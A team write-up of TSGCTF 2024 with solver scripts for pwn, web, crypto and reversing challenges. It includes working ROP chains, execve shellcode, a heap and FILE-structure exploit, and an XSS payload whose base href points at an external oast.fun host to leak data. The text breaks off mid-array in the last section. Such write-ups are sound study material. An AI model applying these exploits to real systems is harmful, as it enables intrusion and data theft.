# TSGCTF 2024 ![Screenshot 2024-12-15 at 22.02.39](https://hackmd.io/_uploads/rJAKmUhEJx.png) ## Pwn ### Password-Ate-Quiz There is an out-of-range reference so that we can leak the encrypted password and our input. ```c while (1) { int idx; printf("Enter a hint number (0~2) > "); if (scanf("%d", &idx) == 1 && idx >= 0) { for (int i = 0; i < 8; i++) { putchar(hints[idx][i]); } puts(""); } else { break; } } ``` ```c void crypting(long long *secret, size_t len, long long key) { for (int i = 0; i < (len - 1) / 8 + 1; i++) { secret[i] = secret[i] ^ key; } } ``` Our input is encrypted with above function in which just XOR is used so, we can leak the key by using following calculation: ```c key = input[0:8] ^ encrypted_input[0:8] ``` By using the leaked key, we can decrypt the password. ```python #!/usr/bin/env python import sys import ptrlib as ptr import pwn exe = ptr.ELF("./chall") pwn.context.binary = pwn.ELF(exe.filepath) def connect(): if len(sys.argv) > 1 and sys.argv[1] == "remote": return pwn.remote("34.146.186.1", 41778) else: return pwn.process(exe.filepath) def unwrap(x): if x is None: ptr.logger.error("Failed to unwrap") exit(1) else: return x def main(): io = connect() io.sendlineafter(b"> ", b"A" * 0x10) io.sendlineafter(b"> ", str(8).encode()) key = ptr.u64(io.recvuntil(b"\nEnter", drop=True)) ^ 0x4141414141414141 ptr.logger.info(f"key: {hex(key)}") password = b"" for i in range(0x20 // 8): io.sendlineafter(b"> ", str(i + 4).encode()) l = io.recvuntil(b"\nEnter", drop=True) assert len(l) == 8 lu = ptr.u64(l) password += ptr.p64(lu ^ key) continue password = password.split(b"\0")[0] ptr.logger.info(f"password: {password}") io.sendlineafter(b"> ", b"a") io.sendlineafter(b"> ", password) io.interactive() return if __name__ == "__main__": main() ``` ### vuln-img author: zatsu #### 解法 `scanf` による自明なオーバーフローが存在する。 `main` 等のアドレスが `\0a` を含むため直接アドレスを入力することはできないが、読み込まれた画像に対する `mprotect` の結果が `r-x` であるため、画像データ中のアドレスを用いたROPができる。 各レジスタをsetするようなROP gadgetと `add eax, 0xd8a7d76f; ret` や `push rax; ret` のようなgadgetを用いる事で `main` のアドレスに制御を移すことができるため、引数を適切にセットしてから `mprotect` を呼び出す直前に制御を移して `img_data` の領域を `rwx` にし、stack pivotによってshellを書き込んで実行することでshellが得られた。 #### コード ```python from ptrlib import * e = ELF('./vuln_img') p = Process('./vuln_img') payload = b'A' * 0x110 # ► 0x1004952 <img_data+18770> pop rdi # 0x1004953 <img_data+18771> sbb eax, 0x4424a400 # 0x1004959 <img_data+18777> ret def set_rdi(addr): global payload payload += p64(0x1004952) payload += p64(addr) # ► 0x10023dc <img_data+9180> pop rbx # 0x10023dd <img_data+9181> ret def set_rbx(addr): global payload payload += p64(0x10023dc) payload += p64(addr) # ► 0x100771e <img_data+30494> pop rcx # 0x100771f <img_data+30495> ret def set_rcx(addr): global payload payload += p64(0x100771e) payload += p64(addr) # ► 0x100bb60 <img_data+47968> pop rsi # 0x100bb61 <img_data+47969> jmp rcx def set_rsi_and_jmp_to_rcx(addr): global payload payload += p64(0x100bb60) payload += p64(addr) # ► 0x1001fbf <img_data+8127> pop rdx # 0x1001fc1 <img_data+8129> test dword ptr [rdi - 0x73], esp # 0x1001fc4 <img_data+8132> ret def set_rdx_with_readable_rdi(addr): global payload payload += p64(0x1001fbf) payload += p64(addr) def jump(addr): global payload payload += p64(addr) # ► 0x100bf59 <img_data+48985> pop rbx # 0x100bf5b <img_data+48987> jmp ptr [rbx - 0x333d9537] def jump_by_rbx(addr): global payload payload += p64(0x100bf59) payload += p64((addr + 0x333d9537) & 0xffffffffffffffff) # ► 0x1005585 <img_data+21893> push rbx # 0x1005587 <img_data+21895> stosd dword ptr [rdi], eax # 0x1005588 <img_data+21896> ret def ret_to_rbx_with_writable_rdi(): global payload payload += p64(0x1005585) def ret_to_rdx(): global payload payload += p64(0x10026cc) ret_addr = 0x100771f payload += p64(0x1a00508) # imul edx, ebp, 0xe8ef6803 の結果下3bitが7になるようにする jump(ret_addr) set_rdi(0x1001111) # readableなdummy set_rdx_with_readable_rdi(7) # mprotectの第三引数 set_rdi(0x1000000) set_rcx(ret_addr) set_rsi_and_jmp_to_rcx(0x1000000) # ► 0x100c30e <img_data+49934> pop rax # 0x100c30f <img_data+49935> ret payload += p64(0x100c30e) payload += p64((1<<64) - 0xd8a7d76f + 0xa0001ff) # a0001ff: call a000900 <mprotect@plt> # 0x10058bb <img_data+22715> add eax, 0xd8a7d76f # 0x10058c0 <img_data+22720> std # 0x10058c1 <img_data+22721> ret payload += p64(0x10058bb) # 0x100b9d1 <img_data+47569> push rax # 0x100b9d2 <img_data+47570> imul edx, ebp, 0xe8ef6803 # 0x100b9d8 <img_data+47576> ret # payload += p64(0x100b9d1) set_rbx(ret_addr) # ► 0x100b3ff <img_data+46079> push rax # 0x100b400 <img_data+46080> push rbx # 0x100b401 <img_data+46081> push rbx # 0x100b402 <img_data+46082> ret payload += p64(0x100b3ff) p.sendlineafter('> ', payload) p.sendlineafter('> ', 'exit') payload = b'A' * 0x110 + p64(0x1a002f8) # next rbp payload += p64(0x100c30e) payload += p64((1<<64) - 0xd8a7d76f + 0xa000204) # a0001ff: call a000900 <mprotect@plt> payload += p64(0x10058bb) set_rbx(ret_addr) payload += p64(0x100b3ff) p.sendlineafter('> ', payload) p.sendlineafter('> ', 'exit') # shellcode payload = b'Z' * 0x110 + p64(0x1a00000) + p64(0x1a00308) + b"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05" p.sendlineafter('> ', payload) p.interactive() ``` ### piercing_misty_mountain ```bash piercing_misty_mountain: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=e12cc43525ce486435ec085011d7731a2da229c0, for GNU/Linux 3.2.0, not stripped ``` ```bash [*] '/root/workspace/piercing_misty_mountain' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No ``` There is a BOF in `profile` function. ```c int profile() { char job[0x8] = "Job:"; char age[0x8]; printf("Job > "); read_n(job + 4, 0x18 - 4); printf("Age > "); read_n(age, 0x8); return atoi(age); } ``` By using above BOF, we can overwrite the saved RIP but not write a ROP chain. So, we have to write the ROP chain in advance. By doing stack pivot and returning to `main` we can write the ROP chain to arbitrary area. ```c 0x4c8000 <initial+672>: 0x4343434343434343 0x4343434343434343 0x4c8010 <initial+688>: 0x000000000040217f 0x00000000004c8100 0x4c8020 <initial+704>: 0x000000000040a1ee 0x0000000000000000 0x4c8030 <initial+720>: 0x000000000044afa2 0x0000000000000000 0x4c8040 <initial+736>: 0x0000000000450847 0x000000000000003b 0x4c8050 <initial+752>: 0x000000000041b326 0x0000000000000000 0x4c8060 <initial+768>: 0x0000000000000000 0x0000000000000000 0x4c8070 <initial+784>: 0x0000000000000000 0x0000000000000000 0x4c8080 <initial+800>: 0x0000000000000000 0x0000000000000000 0x4c8090 <initial+816>: 0x0000000000000000 0x0000000000000000 ``` After writing the ROP chain, we can use the BOF again to do stack pivot and return to `profile`, then rewrite RIP so that it connects to the ROP chain we just wrote, and we can get a shell. ```c 0x4c8000 <initial+672>: 0x4141414141414141 0x000000000040101a 0x4c8010 <initial+688>: 0x000000000040217f 0x00000000004c8100 0x4c8020 <initial+704>: 0x000000000040a1ee 0x0000000000000000 0x4c8030 <initial+720>: 0x000000000044afa2 0x0000000000000000 0x4c8040 <initial+736>: 0x0000000000450847 0x000000000000003b 0x4c8050 <initial+752>: 0x000000000041b326 0x0000000000000000 0x4c8060 <initial+768>: 0x0000000000000000 0x0000000000000000 0x4c8070 <initial+784>: 0x0000000000000000 0x0000000000000000 0x4c8080 <initial+800>: 0x0000000000000000 0x0000000000000000 0x4c8090 <initial+816>: 0x0000000000000000 0x0000000000000000 ``` ```python #!/usr/bin/env python import sys import ptrlib as ptr import pwn exe = ptr.ELF("./piercing_misty_mountain") pwn.context.binary = pwn.ELF(exe.filepath) def connect(): if len(sys.argv) > 1 and sys.argv[1] == "remote": return pwn.remote("34.146.186.1", 41777) else: return pwn.process(exe.filepath) def unwrap(x): if x is None: ptr.logger.error("Failed to unwrap") exit(1) else: return x def main(): io = connect() def sla(delim: bytes, data: bytes): io.sendlineafter(delim, data) return def sa(delim: bytes, data: bytes): io.sendafter(delim, data) return def ru(delim, drop=False) -> bytes: return io.recvuntil(delim, drop=drop) def rl() -> bytes: return io.recvline() free_space = 0x4C8000 ptr.logger.info(f"free_space: {hex(free_space)}") profile = unwrap(exe.symbol("profile")) main = unwrap(exe.symbol("main")) sla(b"> ", b"5unset") sla(b"> ", b"3") payload = b"" payload += b"A" * 4 payload += ptr.p64(free_space + 0x1000) payload += ptr.p64(main + 15) sa(b"> ", payload) sa(b"> ", b"B" * 8) payload = b"" payload += b"C" * 0x10 payload += ptr.p64(next(exe.gadget("pop rdi; ret;"))) payload += ptr.p64(free_space + 0x100) payload += ptr.p64(next(exe.gadget("pop rsi; ret;"))) payload += ptr.p64(0) payload += ptr.p64(next(exe.gadget("pop rdx; ret;"))) payload += ptr.p64(0) payload += ptr.p64(next(exe.gadget("pop rax; ret;"))) payload += ptr.p64(59) payload += ptr.p64(next(exe.gadget("syscall; ret;"))) payload = payload.ljust(0x100, b"\0") payload += b"/bin/sh\0" sla(b"> ", payload) sla(b"> ", b"3") payload = b"" payload += b"A" * 4 payload += ptr.p64(free_space) payload += ptr.p64(profile + 12) sa(b"> ", payload) sa(b"> ", b"B" * 8) payload = b"" payload += b"A" * 12 payload += ptr.p64(next(exe.gadget("ret;"))) sa(b"> ", payload) sa(b"> ", b"B" * 8) io.interactive() return if __name__ == "__main__": main() ``` ### FL_Support_Center ```python import secrets from typing import Literal, Optional from more_itertools import chunked from pwn import * BIN_NAME = "./fl_support_center.patched" REMOTE_LIBC_PATH = "./lib/libc.so.6" LOCAL = not ("REMOTE" in args) context.binary = chall = ELF(BIN_NAME) # if LOCAL: stream = process(BIN_NAME) if LOCAL: stream = remote("localhost", 49867) else: stream = remote("34.146.186.1", 49867) # if name not in black_list and len(name) < 0x100: # friends_list[name] = "" def add(name: bytes): stream.sendlineafter(b"> ", b"1") stream.sendlineafter(b": ", name) # 2 回まで呼べる # if len(message) < 0x100: # if friends_list[name] == "" or input("delete?") == "yes": # friends_list[name] = message def message(name: bytes, message: bytes, yn: Optional[Literal["yes"] | Literal["no"]]=None): stream.sendlineafter(b"> ", b"2") stream.sendlineafter(b": ", name) stream.sendlineafter(b": ", message) if yn is not None: # TODO: old stream.sendlineafter(b"> ", yn.encode()) def list(): stream.sendlineafter(b"> ", b"3") data = stream.recvuntil(b"\n1. Add", drop=True).decode() friends_list = {} entries = data.split("----------------------------------------------\n") for entry in entries: if entry.strip(): lines = entry.strip("\n").split("\n") print(lines) name = lines[0].split(": ")[1] message = lines[1].split(": ")[1] friends_list[name] = message return friends_list def remove(name: bytes, message: Optional[bytes]=None): stream.sendlineafter(b"> ", b"4") stream.sendlineafter(b": ", name) if message is not None: stream.sendlineafter(b": ", message) SUPPORT = b"FL*Support*Center@fl.support.center" FAKE_SUPPORT_1 = b'a' * len(SUPPORT) add(FAKE_SUPPORT_1) remove(FAKE_SUPPORT_1) add(FAKE_SUPPORT_1) message(FAKE_SUPPORT_1, b"A" * 0xff) remove(FAKE_SUPPORT_1, message=SUPPORT) l = stream.recvline_startswith(b"Do you want to delete the sent message: ") stream.sendline(b"n") leak = l.split(b": ")[1] tcache_next = unpack(leak[:8]) tcache_key = unpack(leak[8:16]) print(f'{hex(tcache_next)=}') print(f'{hex(tcache_key)=}') # heap_base = (tcache_next << 12) - 0x13000 # FOR LOCAL heap_base = (tcache_next << 12) - 0x12000 print(f'{hex(heap_base)=}') SUPPORT_ADDR = heap_base + 0x11f50 print(f'{hex(SUPPORT_ADDR)=}') def aar(addr: int, length: int): print(f'[+] aar({hex(addr)}, {length})') name = secrets.token_hex(len(SUPPORT) // 2).encode() add(name) remove(name) add(name) remove( name, b"A" * 0x20 + pack(SUPPORT_ADDR) + pack(len(SUPPORT)) + b"A" * 0x10 + pack(addr) + pack(length) + b"A" * 0x10 ) l = stream.recvline_startswith(b"Do you want to delete the sent message: ") stream.sendlineafter(b"> ", b"no") return l.split(b": ", 1)[1][:length] # insert to unsorted ITER = 7 for i in range(ITER): add(str(i).encode() * 0xf0) for i in range(ITER): remove(str(i).encode() * 0xf0) for i in range(ITER): add(str(i).encode() * 0xf0) for i in range(ITER): remove(str(i).encode() * 0xf0, b"a") # tcache pos is random :( # leak = aar(heap_base + 0x13580, 0x100) # remote leak = aar(heap_base + 0x12200, 0x100) libc = ELF(REMOTE_LIBC_PATH) for chunk_list in chunked(leak, 8): arena_addr = unpack(bytes(chunk_list)) if (arena_addr & 0xfff) == 0xce0: print(f'[+] {hex(arena_addr)=}') libc.address = arena_addr - 0x21ace0 print(f'[+] {hex(libc.address)=}') break # stream.interactive() def aaw(addr: int, payload: bytes): print(f'[+] aaw({hex(addr)}, {payload})') name = secrets.token_hex(len(SUPPORT) // 2).encode() add(name) remove(name) add(name) remove( name, b"A" * 0x20 + pack(SUPPORT_ADDR) + pack(len(SUPPORT)) + b"A" * 0x10 + pack(addr) + pack(len(payload)) + b"A" * 0x10 ) assert len(payload) < 0x100 stream.sendlineafter(b"> ", b"yes") stream.sendlineafter(b": ", payload) write_addr = libc.symbols["_IO_2_1_stdout_"] fake_file = b'' fake_file += p64(0x3b01010101010101) # flags fake_file += b"/bin/sh\0" # read_ptr fake_file = fake_file.ljust(0x28, b'\x00') fake_file += p64(1) fake_file = fake_file.ljust(0x68, b'\x00') fake_file += p64(libc.symbols["system"]) # _IO_jump_t.__doallocate fake_file = fake_file.ljust(0x88, b'\x00') fake_file += p64(libc.address + 0x21ca70) # _IO_file.lock fake_file = fake_file.ljust(0xa0, b'\x00') fake_file += p64(write_addr) # _IO_file.wide_data fake_file = fake_file.ljust(0xc0, b'\x00') fake_file += p64(0) # _IO_file._mode fake_file = fake_file.ljust(0xd8, b'\x00') fake_file += p64(libc.symbols["_IO_wfile_jumps"]) # _IO_file.vtable fake_file = fake_file.ljust(0xe0, b'\x00') fake_file += p64(write_addr) # _IO_wide_data.vtable aaw(write_addr, fake_file) stream.interactive() ``` ### SQLite of Hand Not Solved :cry: ## Web ### Toolong Tea Author: zatsu #### 解法 `num` に型チェックが存在しないため、`[65536, 2, 3]` のような値を送信すると長さチェックをバイパスして `parseInt(num, 10) === 65536` を達成できる #### コード ``` import requests url = 'http://34.84.71.29:4932/' json = { "num": [65536, 2, 3], } res = requests.post(url, json=json) print(res.text) ``` ### I Have Been Pwned Author: hiikunZ ```console $ curl -X POST http://34.84.32.212:8080/ -d "auth=guest&password=%00 <br /> <b>Fatal error</b>: Uncaught ValueError: Bcrypt password must not contain null character in /var/www/html/index.php:21 Stack trace: #0 /var/www/html/index.php(21): password_hash('PmVG7xe9ECBSgLU...', '2y') #1 {main} thrown in <b>/var/www/html/index.php</b> on line <b>21</b><br /> ``` で `$pepper1` をリークして、`auth` を `admin` にして `hash` を次のコードで捏造する。ここでハッシュされる文字列の前 8 文字さえあってれば verify が通るので、解けた。 ```php echo base64_encode(crypt("PmVG7xe9","ZZ")); ``` flag: `TSGCTF{Pepper. The ultimate layer of security for your meals.}` ### Cipher Preset Button ```python response = requests.post(f"{HEAD}/preset", json={ "name": "</title><base href='https://fyelosrixjovnwxnntlee714qfmft8zad.oast.fun/'/> \x1b(J<style", "prefix": f"\"+'A'.repeat(100)//" }) print(response.text) id = response.json()["id"] path = f"/presets/{id}" response = requests.post(f"{HEAD}/report", json={ "path": path }) req = json.loads(input("requst> ")) result = req["result"] print(bytes([c ^ ord("A") for c in bytes.fromhex(result)[1::2]])) ``` ## Crypto ### Mystery of Scattered Key Author: みゃう #### Problem ```python from Crypto.Util.number import getStrongPrime from random import shuffle flag = b"FAKE{THIS_IS_FAKE_FLAG}" p = getStrongPrime(1024) q = getStrongPrime(1024) N = p * q e = 0x10001 m = int.from_bytes(flag, "big") c = pow(m, e, N) # "Aaaaargh!" -- A sharp, piercing scream shattered the silence. p_bytes = p.to_bytes(128, "big") q_bytes = q.to_bytes(128, "big") fraction_size = 2 p_splitted = [int.from_bytes(p_bytes[i : i + fraction_size], "big") for i in range(0, len(p_bytes), fraction_size)] q_splitted = [int.from_bytes(q_bytes[i : i + fraction_size], "big") for i in range(0, len(q_bytes), fraction_size)] shuffle(p_splitted) shuffle(q_splitted) print(f"N = {N}") print(f"c = {c}") print(f"p_splitted = {p_splitted}") print(f"q_splitted = {q_splitted}") ``` #### Solution The RSA primes $p$, $q$ are split into 2-bytes segments and shuffled. By reconstructing the correct sequence of the split parts, we have $$ \begin{align*} p &= p_0 + 2^{16} p_1 + 2^{32} p_2 + \cdots, \\ q &= q_0 + 2^{16} q_1 + 2^{32} q_2 + \cdots. \\ \end{align*} $$ Given $N=pq$, the relationship for $p_0$, $q_0$ can be expressed as $$ N \equiv p_0 q_0 \pmod{2^{16}}. $$ Using this relationship, we can search for pairs $(p'_i, q'_i)$ that satisfy it from the shuffled segments. The same process can be applied sequentially for $2^{32}, 2^{64}, \cdots$. Note that the search may yield multiple candidates, not just one unique pair. #### Solver ```python from collections import deque from output import p_splitted, q_splitted, N, c from Crypto.Util.number import inverse, long_to_bytes def bfs_find_p_q(p_splitted, q_splitted, N, length): queue = deque([(0, [], [])]) while queue: i, current_ps, current_qs = queue.popleft() if i == length: return current_ps, current_qs partial_N = N % 2 ** (16 * (i + 1)) partial_p_poly = sum( [pi * (2 ** (16 * idx)) for idx, pi in enumerate(current_ps)] ) % (2 ** (16 * (i + 1))) partial_q_poly = sum( [qi * (2 ** (16 * idx)) for idx, qi in enumerate(current_qs)] ) % (2 ** (16 * (i + 1))) for pi in p_splitted: for qi in q_splitted: if ( (partial_p_poly + pi * (2 ** (16 * i))) * (partial_q_poly + qi * (2 ** (16 * i))) ) % (2 ** (16 * (i + 1))) == partial_N: queue.append((i + 1, current_ps + [pi], current_qs + [qi])) raise Exception("No valid solution found.") LENGTH = len(p_splitted) found_ps, found_qs = bfs_find_p_q(p_splitted, q_splitted, N, LENGTH) p = sum([pi * (2 ** (16 * idx)) for idx, pi in enumerate(found_ps)]) q = sum([qi * (2 ** (16 * idx)) for idx, qi in enumerate(found_qs)]) print(f"p = {p}") print(f"q = {q}") assert p * q == N e = 0x10001 m = pow(c, inverse(e, (p - 1) * (q - 1)), p * q) print(long_to_bytes(m).decode()) ``` ``` p = 133846079567033356295611663807472620387209233565787526555738846382718344891721831631688559264099570540393849521623918732060226890640580063490864556922128525956884002008979132603720649145351885711269969451344880448760955136344150312478430955260159658688415728407730512351844988228785331625665794917259257926213 q = 151355518372765120493327934762926630893438167972334488889493051813724826088782068105390566319924248423756649210493142888195116144950614724981735824913625568893513234575823641661316419754786310456460557346632081385143889518584132516903169499774904766562459218546051354207232352829994450058475821789976020567069 TSGCTF{Yasu_is_the_culprit_4977d14abf9a4fad90d87046d2ee7e7d} ``` ### Feistel Barrier Author: hiikunZ $c$ が復号できないが普通に $c + n$ を復号してもらえるので、あとは復元するだけ ```python from pwn import * from hashlib import sha256 io = remote("34.146.145.253", 10961) io.recvuntil(b"n = ") n = int(io.recvline().strip()) io.recvuntil(b"chal = ") chal = bytes.fromhex(io.recvline().strip().decode()) c = int.from_bytes(chal, "big") + n c = c.to_bytes(129, "big") io.recvuntil(b"ciphertext: ") io.sendline(c.hex().encode()) res = bytes.fromhex(io.recvline().strip().decode()) io.close() maskedSeed = res[1 : 1 + 32] maskedDB = res[1 + 32 :] k = 1024 // 8 h_len = 32 def mgf(seed, mask_len): if mask_len > 2**32: raise ValueError("mask too long") t = b"" for i in range(mask_len // h_len + 1): t += sha256(seed + i.to_bytes(4, "little")).digest() return t[:mask_len] seedMask = mgf(maskedDB, h_len) def xor(a, b): return bytes(x ^ y for x, y in zip(a, b)) seed = xor(maskedSeed, seedMask) dbMask = mgf(seed, k - h_len - 1) db = xor(dbMask, maskedDB) print(db.split(b"\x01")[-1].decode()) ``` ### Easy? ECDLP The problem is to compute the discrete log over $Z_{p^4}$. Our team member found similar challenge(pure division@zer0pts ctf 2021) writeup: https://mitsu1119.github.io/blog/p/zer0pts-ctf-2021-writeup-%E6%97%A5%E6%9C%AC%E8%AA%9E/. Though we could apply the technique partially, we needed to analyze further (`secret` is 1024bit, but we only obtained`secret`$\pmod{p^3}$ (756bit).) Fortunatelly, we realized the curve over $\mathbb{GF}(p)$ is anomalous. So we combined the technique of SSSA attack(Hensel lifting), we obtained the flag. ```python= from Crypto.Util.number import bytes_to_long, long_to_bytes import random rng = random.SystemRandom() a, b = [0x1c456bfc3fabba99a737d7fd127eaa9661f7f02e9eb2d461d7398474a93a9b87,0x8b429f4b9d14ed4307ee460e9f8764a1f276c7e5ce3581d8acd4604c2f0ee7ca] X,Y,Z = (92512155407887452984968972936950900353410451673762367867085553821839087925110135228608997461366439417183638759117086992178461481890351767070817400228450804002809798219652013051455151430702918340448295871270728679921874136061004110590203462981486702691470087300050508138714919065755980123700315785502323688135 ,40665795291239108277438242660729881407764141249763854498178188650200250986699 , 1) p = 0xd9d35163a870dc6dfb7f43911ff81c964dc8e1dd2481fdf6f0e653354b59c5e5 ec = EllipticCurve(Zmod(p**4),[a,b]) P = ec.point((X,Y,Z)) secP_xy = (62273117814745802387117000953578316639782644586418639656941009579492165136792362926314161168383693280669749433205290570927417529976956408493670334719077164685977962663185902752153873035889882369556401683904738521640964604463617065151463577392262554355796294028620255379567953234291193792351243682705387292519, 518657271161893478053627976020790808461429425062738029168194264539097572374157292255844047793806213041891824369181319495179810050875252985460348040004008666418463984493701257711442508837320224308307678689718667843629104002610613765672396802249706628141469710796919824573605503050908305685208558759526126341) prec = 4 Qp = pAdicField(p, prec) E4 = EllipticCurve(Qp, [a, b]) Fp = GF(p) Ef = EllipticCurve(Fp, [a, b]) N = Ef.order() print(f"is_ordinary: {Ef.is_ordinary()}") print(f"order==p?: {N==p}") ## modified from http://mslc.ctf.su/wp/polictf-2012-crypto-500/ def hensel_lift(curve, p, point): A, B = (a, b) x, y = map(lambda val:int(val.lift()), point.xy()) fr = y**2 - (x**3 + A*x + B) assert fr % p**4 == 0 t = int((- fr / p**4) % p) t *= pow(int(2 * y), -1, int(p)) # (y**2)' = 2 * y t = int(t % p**4) new_y = y + t * p**4 return x, new_y S = E4((X, Y)) T = E4(secP_xy) x1, y1 = hensel_lift(E, p, S) x2, y2 = hensel_lift(E, p, T) # redefine after Hensel lifting Qp = pAdicField(p, prec+1) E = EllipticCurve(Qp, [a, b]) S = E((x1, y1)) T = E((x2, y2)) ## from https://mitsu1119.github.io/blog/p/zer0pts-ctf-2021-writeup-%E6%97%A5%E6%9C%AC%E8%AA%9E/ NS = N * S a = Fp(-NS[0] / (p * NS[1])) n = 0 l = 1 Sp = S Tp = T ds = [] while Tp != 0: NTp = N*Tp w = -NTp[0] / NTp[1] b = w / p^l d = Fp(Integer(b)/a) ds.append(Integer(d)) Tp = Tp - Integer(d)*Sp Sp = p*Sp n += 1 l += 1 if n > prec: break solve = 0 for i in range(len(ds)): solve += ds[i] * p^i print(long_to_bytes(solve)) #is_ordinary: True #order==p?: True #b"TSGCTF{HeNSel's L3mMa 1s s0 usefUl!}|D\x06\xd8\xe6\x12\xde\x8d\x13\x05\xff\xe8\x92c0#b\xe1\xd9K,\xec\x1fA\xe7\xf3\xda\x13np\xeb\xb4zM\xb4\xac\xe2l\xe4(\x08\x9ap\xe4HV\x1c:f\x18;5\xd2\x85_:Fs\xbf\xf7\xe8\xacjo\xe0\xf0\x15\xab\x91H\r~Kl#\x9b\x16\xde-uj\xda\x8b\x87)o\xe6\xdcZ\xf5\x9e" ``` ### Who is the Outlier? `secret_key`に関する連立一次方程式が得られているため、これを使って`secret_key`を復元できる。ciphertextsの前半と後半のいずれかはdisagreeを含まないため、両方試すことによってdisagreeを無視できる。あとは通常の方法でdecryptするとよい。 ```python exec(read("output.txt")) A = Matrix(Zmod(p), n, n) for i in range(n): for j in range(n): A[i,j] = ciphertexts[n+j][i] b = vector(Zmod(p), n) for i in range(n): b[i] = ciphertexts[n+i][-1] - 1*(p//q) secret_key = A.solve_left(b) def dot(a,b,p): assert len(a) == len(b) return sum([(a[i]*b[i])%p for i in range(len(a))])%p flag = "" for enc in encrypted_flag: v = enc[-1] - dot(secret_key, enc[:-1], p) flag += chr(int(floor(int(v) / (p//q)))) print(flag) ``` ### CONPASS Author: hiikunZ `mydecoder` の処理がガバガバで、`{"time":"hoge","":"<data>"}` の形を作ると `<data>` に `"` と `\` 以外の文字が全て使える。 $\bmod n$ で $0$ になるようなデータを作れば、署名も $0$ になって OK。 ```python! import time import math import requests import json positions = { "user": [3861, -67500, 50947], "sat0": [67749, 27294, 94409], "sat1": [38630, -52128, -9112], "sat2": [-86459, -74172, 8698], "sat3": [36173, -84060, 95354], "flag": [0, 0, 0], } data = {} def distance(a, b): dist = 0 for i in range(3): dist += (a[i] - b[i]) ** 2 return math.sqrt(dist) host = "http://34.146.145.253:42001/" ut = time.time() for target in ["sat0", "sat1", "sat2", "sat3"]: t = ut - distance(positions[target], positions["flag"]) t = int(t) response = requests.get(host + target) dat = response.json() n = dat["public_key"]["n"] res = '{"time":' + str(t) + ',"data":"' + "\x00" * 200 + '"}' res = res.encode() res = int.from_bytes(res, "little") print(hex(res)) y = -res % n y = (y * pow(256 ** len('{"time":' + str(t) + ',"data":"'), -1, n)) % n while True: x = y.to_bytes(200, "little") assert len(x) == 200 real_res = b'{"time":' + str(t).encode() + b',"data":"' + x + b'"}' print(real_res) res = int.from_bytes(real_res, "little") assert res % n == 0 if not b'"' in x and b"\\" not in x: break y += n data[target] = {} data[target]["data"] = real_res.hex() data[target]["sign"] = "00" json_data = json.dumps(data) response = requests.post( host + "auth", data=json_data, headers={"Content-Type": "application/json"} ) print(response.json()) ``` ### Easy?? ECDLP Not Solved:cry: ## Reversing ### Misbehave Author: zatsu #### 解法 デコンパイルされたコードを読むと、入力を4文字毎に区切って `gen_rand()` で生成した乱数とxorを行い、その結果を `memcmp` によって `flag_enc` と比較していることが分かる。 また、`init` の処理によって `memcmp` の処理が差し替えられており、`memcmp` 中に乱数のstateが変化していることも確認できた。 乱数の出力は `gen_rand()` が呼ばれる直前までの入力文字から定まるため、gdbで `gen_rand()` の返り値を得て、それと `flag_enc` の結果をxorして新たな入力とする処理を繰り返すことでフラグを得られた。 #### コード ```python import gdb rnd = [3542627188, 2616472058, 820737800, 3317136477, 10439305, 908029029, 2164904520, 817214727, 205657852, 3787318749, 321275647, 2837809417] flag_enc= b'\x20\x60\x6f\x90\xae\x77\x8f\xf3\xfc\x09\xa5\x5e\xdd\x6b\x39\x51\xdf\xfd\x6e\x5e\xa8\x60\x88\x85\xbc\xd7\x95\x52\x75\xe9\x82\xf3\xb7\xa2\x04\x95\x4a\x0e\x5c\x67\x53\x81\x13\xbf\x34\x61\x70\xc1' res = b'' print(res) print(len(flag_enc)) def opt(): global res global byte_4 global rnd print(res) with open('file', 'wb') as f: f.write(res) gdb.execute('file ./misbehave') gdb.execute('b *main+74') gdb.execute('r < file') l = [] while True: r = gdb.parse_and_eval('$rax') print(hex(r)) l.append(int(r)) print(len(l)) if len(l) == 12: break gdb.execute('c') gdb.execute('det') res = b'' for i in range(0xc): byte_4 = int.from_bytes(flag_enc[i*4:i*4+4], 'little') ^ rnd[i] res += int.to_bytes(byte_4, 4, 'little') rnd = l print(res) for i in range(48): opt() ``` ### Warmup SQLite バイトコードの58行目付近を読むとMultiply,Add,Remainderの3命令が連なっていることがわかる。ここからフラグの各文字$c$に対して$(c * a + b)~\mod~256$のような演算を行っていると予想して、逆算するソルバーを書くとフラグが得られた。 ```python res = [100, 115, 39, 99, 100, 54, 27, 115, 69, 220, 69, 99, 100, 191, 56, 161, 131, 11, 101, 162, 191, 54, 130, 175, 205, 191, 222, 101, 162, 116, 147, 191, 55, 24, 69, 130, 69, 191, 252, 101, 102, 101, 252, 189, 82, 116, 41, 147, 161, 147, 132, 101, 162, 82, 191, 220, 9, 205, 9, 100, 191, 38, 68, 253] flag = 'TSGCTF{' from z3 import * a, b = BitVec('a', 8), BitVec('b', 8) s = Solver() for i in range(len(flag)): s.add((ord(flag[i]) * a + b) & 0xff == res[i]) assert s.check() == sat m = s.model() a = m[a].as_long() b = m[b].as_long() flag = '' for i in range(len(res)): for j in range(127): if (j * a + b) & 0xff == res[i]: flag += chr(j) break print(flag) ``` ### TSGDBinary 配布されたバイナリを解析すると、入力とダミーフラグをmemcmpで比較する処理、および加算や減算などのプリミティブな計算を行う多数の関数が見つかった。 次にGDBスクリプトを解析すると、以下の処理をしていることがわかった。 1. main関数にブレークポイントを仕掛ける 2. バイナリ内のデータから復号したスクリプトを実行 - 入力をmmapで確保した領域にコピーし、1バイトずつ2回XORする 3. バイナリ内のデータから復号した機械語を実行 - 8バイト単位で2.の結果を置換する 4. 3.の結果に0x89fc76aef8d6a8c3を加算する 5. memcmpで4.の結果を比較 最終的に以下のソルバーによりフラグが得られた。 ```python data_6547ea867fa0 = '42d31f3164feaea202ad05481cac96d5e6624b23b5d0f7a7ca56195908603aac757dc4050a8eb8074f793defad737938' v1 = [int.from_bytes(bytes.fromhex(data_6547ea867fa0[i*16:i*16+16]), 'little') for i in range(len(data_6547ea867fa0)//16)] v2 = [] for i in range(len(v1)): v = v1[i] - 0x89fc76aef8d6a8c3 if v < 0: v += 1<<64 v2.append(v) # 得られたアセンブリからv2を手動で置換 v3 = [0x66221E42571B1B1D, 0x2063383B75652F77, 0x6B655A6961635674, 0x641733226F50717C, 